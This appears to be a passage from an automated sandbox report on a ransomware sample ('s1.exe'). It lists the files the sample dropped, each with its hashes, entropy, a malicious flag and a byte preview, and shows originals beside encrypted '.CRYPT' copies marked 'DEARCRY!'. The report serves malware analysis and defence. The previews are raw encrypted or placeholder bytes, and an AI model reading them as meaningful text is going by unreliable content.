                                                              SHA-256:24C6F439985B5273A5D2968A1A828534BDDA8CBCDA8B1DC72F4A108B7591E6E5
                                                              SHA-512:68D96B2281333B20BA68A78627D2D405796A772659E2259783419EC095F6635C4F6B48ED7DBAF452742BB427C8F5BFB1DD87A65092E2C963AD515E004F22603B
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\VersionManager\versionlist.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):48408
                                                              Entropy (8bit):7.996474793635484
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:50AEC36EB3F1C862087D0FBDB2DF5D65
                                                              SHA1:A39E623DD563F7C7459F6371A12CB80EFDF7F648
                                                              SHA-256:C2410DAA6771FF2647BFAFF59C6114890CF348E1463E2C3DDF108308AD372AE8
                                                              SHA-512:234885885F165AE451DD5756E2080EEE61CD2AC90C72CD375152152F17F4F4AECFF91653BBFDCEDF85879D5E862A9279E01950862A789496BD4BC81AB673C527
                                                              Malicious:true
                                                              Preview: DEARCRY!........w.0.......W...K.O..RE. .)C.&#..h..T;....}.K".3&6..7e......n.G..r....q.R.b.7.6....0T....P>.{.%...n....F}..P.SX.O.n..3..A$....z..ZPt.#.W/...7.*]YoV....t.t.<.ga.........,..u.......w.x.u#..)}-C#v(..-.~....n.uw..$..l.+...h...e..&..]..N.8.KFb.E........=......au.UM.,a..EA.4.y..O..."I.^.......t..(.4.A.|/...Kw.|...c :.5..Q.'[_.&D.....G.Z..'....v."..%Y0N.....Xs.)7._.k..%......U.Q..-r.}.j..u.E.*..9.k+..w..r".U[...$.....=..c..k...Xe...8.-.t..x.n~$.hY6.*.J..|+...>R...HZ.l..s.h....,.S..T.]RC..a9 [A.C..g.E.af.........h.%...C[..Y....Z._.>..#:1.u5.?.....W...k.1..Hrpq. JL.......W{.C...~n...S:.........5,..........!SR....}b..JaGi..JH..`@H6....A.S.K.U..F.'.b..F..`.~.#.U.Dx...GkK.s.V.M.v.i...K.. .%..y\.u.U.D.NegBH\I.!....Y....Z}b..L......>..wQ.5. ..(...M.........6L~.k..o.....O.0ZM<.8v#X..KD...\...~Ty.|Q`.....|............\.B..>z......@`)C.F....fe.K7d.^.y..N.7... .b!.S^.?U:p......Y.........i.\z......~...5fC.#+....&..>.:.t.n._UMT..W...M..0.Q.~..*..].F
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):26288
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:10A69F649FF0328ECD2E88602EBE38C9
                                                              SHA1:AC3493E7564CA393C9E4C2C68543A5E932AFD601
                                                              SHA-256:5C6EBCCA64CA387590672C7AEF7E1E1D52A869EDE53694C6F2703EF1FB16858A
                                                              SHA-512:7B3C805A1CE56844DC579E05A175497909C70A760877448849F390C6E845D1E255846FEB1EAECD31C95C6B34F87E91C199929E84ACA6D63143BF94EBBEEB290B
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):27424
                                                              Entropy (8bit):7.993420269788944
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:7A5560A1A8F82FC3A69A1F1B9E0ECA0E
                                                              SHA1:25A3E65323DAE73CB2CAC25E91D7869C7B757C6D
                                                              SHA-256:80DF1909D3C581941F6D0D027353F88EA80954B9B529A6FFD31ADD58244EBDB0
                                                              SHA-512:C8E8C9C9F273FC89A2C401BB67AEFAA7D1D583C0A4C16FBC49139DBEA74FE890AFCFFFAAF9A9FED3C6AA07C0746EFB93CF027DB7C45857388F811A8433E0F907
                                                              Malicious:true
                                                              Preview: DEARCRY!....k....k,..b.....KK...m....J......Gb..Qg.f..l..-.#..C..wj('.98r...........?.-e.-....qEF.....lo...mJ.........f|m7.+.Ru.}W.......|..Z(.2..'...b.....!...WR..... WM.NDZi S69..h).....|N.Eu&...@....;....$Q .K.P..Q.....t3T7.g.I.d'.....D..../...C.Q'#~6.................$.d.3...v;.kY.....Z..c}..q....Vg=..p(...w.B.lC..(...L.......:..D ..2;.A,5........}..v.Z...A.^L..rd ...@.6...g;...b..*....}HD..#..$...-..%C.....Z...5..y..#D.9.c).u.V(.cM.>.....a2k..).<...3.*..Q.).&Sr[X.]E8.f<...8.k..:...!..b....q#...!.....;.f...j<7.b5.....!<......6i..c...v.kl....Z..X.@@_.Vh...ZX..-.Q..Cl..~....@%...l..I.f..P..yd......N....?lrO.|:...F..u&..._.....bA..)E..a.O.H.W....n.:.i[.......Z+..d.\Z....n_..wE....5.O......w>.!.t.......tq<|.8....5.>..b...1 .....w.XQP"R.g..[...H.@.y......Uu..nS.`.<..h........Y(u^*[..``..i...{.....vZ....l.....@...`....8.s.8.D.9EX.N.......,.b%..+.lF/..F&....!.Y/.....2o...T;..!&7..v....:.........(.C..EI..-P.8y.....(.......{4o.~,.M.%...+;Y...Nn...?.I?
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2814
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2E5B073735A02124235C0DA3A7660560
                                                              SHA1:E312310881CB5E5AC37FBE4589870DA9B4040778
                                                              SHA-256:E90EA4D5607D790D2531E9E8A9F8FC0FFA1944E28A97631B2D871176B9A2FBE3
                                                              SHA-512:AAB1313C36CF284A3278F9B37A751433DC5D36BC7C883C91E71F60363053B529DFF19F433B6073024512FCA528640A3DC87445AE678708B469F6168439D33E0E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3672
                                                              Entropy (8bit):7.929904144502928
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:535E35306D6110E4675D09101BDCF3D7
                                                              SHA1:38D54323FF0A09D9C1D0008E56878CB936469F71
                                                              SHA-256:BF88A91A70DBCBB9BE3290699D40B0E10D0E5EC074AAB543528ED41E0FC0295A
                                                              SHA-512:0B6EF8E538210CB18F0441DBED92477120B5019BDB9F16AC517F0C96CE47299223D6C152B8772974E7708AFEC70B9D7A5CF3C3AFA57D11D867C33C6EA3C6B312
                                                              Malicious:false
                                                              Preview: DEARCRY!.....-_.@.....<7.?........%/..%Q.q.r.Wlo..$.6<.P.VG....!...)......9. .x...i..<.._w...w...[7t=..G[.l...<.....I.f@_.._..l...<.5.\,.[.UW..g.....x..?.......0{.-.R7..#<.9Pg........?.R~r.t...i..%=.d..Se...g...-....`f...M.v....c..^+$.-c..M.-U...`.w.$.. ...._\5................W4...#+...al..A-........&.........L....P'.;=.t..,/..H.?'I. .E...LZG/._.;..'...yH...-.b.'r.n..........\.l.p..i..o5..E"..[pYk6.p........;./...@....+f....L?].I.H;5....._....!j..}...(.z...?~...|@..!R.9M..@(..,N...../.R...n.....T.......3.T....^...vL....u..>./d].v..62.@~.....8.....0..Z.....I]]o...n..W\.$...6H.Hg..>.$..I....Jd.?ys...).G...ru.7M.....b.J.9}........".u..q..f.R.*.-....0>f..y.k.........|Ry.M.G.^.c/Zg..pW.......9...OlX..n......|l>..!.-5/.....Cb..rx+{...J5.U:Xy..+Z..s+P.\...t.Z,.K....X......vb.AL...........:..,.cj..^.U..R....An.....e..w..%cE...0.W.i;.k.GtMF..c...V.P_v3ITj.(.{......]qu#Q......K@....$.ku3-/<..ubF......uI.[.x,p...\..C..E.h..(DJ...3...J......{...O&..I*.
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1314
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C96D4FE5578D999CF801DFCA61B4280D
                                                              SHA1:6EFDFEC6F08BEAD1DC9452563CD5290D1D377F7B
                                                              SHA-256:16D7E544E4CD5ED25014B003DB68EF50F1D01CD1359F32782DCED22E651EDD81
                                                              SHA-512:B9FB1517A807680018D35C3F222F5DD6063D04200C70FEE51C495B00E2D505C17D7E86A2ED74C185D67607A3895836435CAC0D5F5C4B850D2381BC4E95BE0965
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1608
                                                              Entropy (8bit):7.854577561888579
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:411A771350CE6AFB2DD12CBC54BCFF61
                                                              SHA1:3D41B2E3157E22D7E11C9E467BBACF4F01970BEA
                                                              SHA-256:8BB67C0C587569D88637D6D268B89026FA75210AA8E0D2727D6BB5C0BC095FE1
                                                              SHA-512:F1759A289D2BC411357646BFCA82FAD203F5E24B51D7A98BD2B7D363D31CCDB027E44978C8DB3F21FBE0A1A34823EE8C5092F7069D71A6CB0BC2D081E779910B
                                                              Malicious:false
                                                              Preview: DEARCRY!....Y..>}.z..l..4..C..HXT..?$..^.)..8..<{...0.7.......T.J@..q.....=...>,...\*e..k.1.....M......D-...w:.-YD.s...&....0e.....Z!}..[im0.....7.j.R.D..*.....R.N+.;..I..j!.PZ.^.n..\.=.psm.k;......3.)wE$.Q..........lP.[=.e<..0..F.. .J..+.....J....5..}X...."........8..R.......s.....N%...x.nw.....7..VO..niO^..')..G......<...V..zW.....^.Ak+..<#.e..XdV......<$.Zb..ac..t.U).Jg9m.9:...=j`.1~6.s...R.mM...iB.O?..-.P<K.........?.6.3.~..].X+......3....d.Y.\.'.c....H...i7.;f..I.=.D..I...{U.-....J.u..Jf.wr+..h.......g.*..+..\Q..4"...V.5...3G:..!.t...._{C.$NCa..8I.j$[.*]\c.w.}..I#)...%...i..J.+0.C2.s.|.3.../.u............#..O..@.f4....W.E..=...]...Df.....P.w.n...C....y.ft.s.A.1.+..G.K~..7...h....0..+......G.3@..hVw3.....;2......}9.v.....(.q. x...a.........L.h<...H7..e.v...f.....:.>YR3..zF.Tb.jF,.h.....PP......\D.*...'.@....Dj..Hzr...1z....^.......v.(..D.=*%s...q@P..W.!'$&.;w.al\u.~S.[ro.2J.S..-v9V3.(.T...5.....PO;<..M]...G..w.\..1..J....Si
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\ynfz0jx\imagestore.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):22652
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C9F90697185226711A3310A0278EB278
                                                              SHA1:FD662924C0CBA7422F70668F75CEF6263A624C94
                                                              SHA-256:33B6DC465838896788C5AE1AEC44CAD4891FC894BF421D12B5057052F445B9EC
                                                              SHA-512:AB9C3D8FE26C3A1F545817A5D84ABECC0D0F232037E6E859DFC9771F75354FA7E87E1E6AD4B535DFD8FF3C268077BB32C690D1D615714FF0800F2AB60AB0B7AA
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\ynfz0jx\imagestore.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):22936
                                                              Entropy (8bit):7.9898567091910895
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5797A47223198C339A455F9855C9F5A9
                                                              SHA1:07337ABE6C98FF389BC9ABE3E241172190959A6E
                                                              SHA-256:005EC09E77A495977C934D5A66E70377B0CB70028C8EC7E37B7B0416DDE4D939
                                                              SHA-512:A634BE2EB77A8FF23CE1488E2940EA61CBBEC23146C7701097CCCA1A68B2D4CB79A9E575D49EE4DB88E614C9CAD88DEBED85252C7345A1AF456F7E34BCE54279
                                                              Malicious:false
                                                              Preview: DEARCRY!.....(q..........c.:Xz{V4.t.;C.zq+".B[...0.~..I.m......Wsa.qM...q'.$..1,..e.".Z....dT....e..A...m8y..l..H..M.^......;.7~:.].4.+..Y9.].../]."^.......{.e.}. ..~..~.A@+2..<..d.!2.\..O......y.S.p...U......B.o...x..u~..q.<...."`.:p...v.rt...%f.S...........|X......f~.W.......=.0.m..F....8MW[.3... ....b......,..,Qa....sO....uH/.....O7\T...].&. .`...z..>...O{....E~..^..0...E..wG....B.../t.sg......S9....`.]y*.....:../.dU.h..|....L......W+...8...j....tj.].`RL..w.............>%.'.....ZF.........Y.+...3Z..6..$,...nL...3.<..`1)..8.*'..F_J9.gy..)...f..p}.xca...D^k.~Y.0...p)!.t..c...O;oJe.....`5j.].,...d...Q..1...W...F[.....PB?....:......!*.V.o.[y~..U.d..~..%...l.x..~|.h@6<S>.$...~,..J.]j..0......S.6....9...Z....'2..oZ.\..- jB.*...g.Z...{.'.......*...o....}.w.Yu2|.2`.2;...+..7X..-......../.z..x..|....=.ba.{.p.z..?I.WL.N...>..NC.E,...05l.....,....%....H..Z5..K.>...X(.......D........=#....$.:W..]tj...]\.q.....M.....6.O..*pw....S.....v....m}0O....
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-100.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2298
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B0D32E917C13A74B58C80F1F859CC8BB
                                                              SHA1:6676EE01DA568DA70EA5A7C363D53E8269B5617D
                                                              SHA-256:93C87EA668A2839D25DFB1BF2E787CA2FE7025787827F4154AFA310A4479FA03
                                                              SHA-512:AF4C52CFB60EDBD317E3346AB9B7FDE997F850AF520F4D93EA2CF5DA27712DA9808E91121149E6B9FD4A848C0080DD24FBF48EFB63BC373578013031CF277E6C
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-100.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2864
                                                              Entropy (8bit):7.9166187623903115
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:129CFD87873B0F46422DC2E2456586AF
                                                              SHA1:6F3F69D1CB2E779E8F232A2DDF56019A712240BC
                                                              SHA-256:C44F1D82E5AC56FE8EA9752E9952A2C918D7C70D6A45FD46B0BFF6A14AD74780
                                                              SHA-512:EEB927317F670C2526755532C189F84EEBC36A787B94C38EEACA88F9D76C1D67C6E9A41CAE7BB8867245FD96D7385E53965ABB0CBCA13809AFC333C9F9EEB75A
                                                              Malicious:false
                                                              Preview: DEARCRY!....0......V..C>m.Q62i.bz..$.>..&:..ov..5d..?y.. v/..........Fm.psc....5........4zo...U1...m..v4>..>..Yg.3`z.hUQ.z..E...Z....-.k.5..RQ.Q....us.;.,o.T.&..FDJ...\3.".V.k..y>V.`...<%..{...OSp. .v|./g$n.yc.....!p.....Q.A...o.Y.U..0...P......k.2....B...X.....}..........#zT...R.ov.k...W>..t.q\....L..YA...%..9V....v<.c.x.^..)...n|.7....6.O....|hve..pK..`..bi.).-...s......M.....z.wC..h1^...l\[%....\...6.{.....N.^..C.#~.....P|..'u....[[.2G.j...y.C..3MyBb...H...=.+v.>..y.`O.>.fW.k3....T...s..u...pa2g..WQ;..%..^.K..n...3...s...D5.t..-.U .....(..... g.D.....].K.m...U..c..hx....,#..].M..k6.A.*....(..6..x.....X.7y....!.Z&.S.)...wN..5........v.../XkU....5..w..l.y...(.4..'.PO..*E...j....(.........I..=\.l.P.E.Y.\..?'......G.G.r......W.vE-......O.z..z`T.w........H0>2...Q.m.`.|0Wb.I....dWy.@..........3....g.......g.......lvZ..j!.&;:30o.W.1....P.G?...O....g]1;.D.. ........d...."8"%.V.......z;,y.......v.|_...|...[.a..c.&m.....56.|2.;.._R..
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-125.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3086
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:19A3C63B5EF44CC2E09F2575863B8090
                                                              SHA1:9F2330101A753686B8C0F370B6139C9DAFD2A3C9
                                                              SHA-256:CD144A4CE4D7F0FAF139B81BD707BA955BC804696F5A15F2E14141A9ADF7658A
                                                              SHA-512:70F9348C6EA9616B69F2FEDF9105E9FBA1E4C691A5166B71D8726655E876812BB5AD50AE6F1A5798C5C843B2573E939C37DD2B6551786B3ABB31F44E76765B5A
                                                              Malicious:false
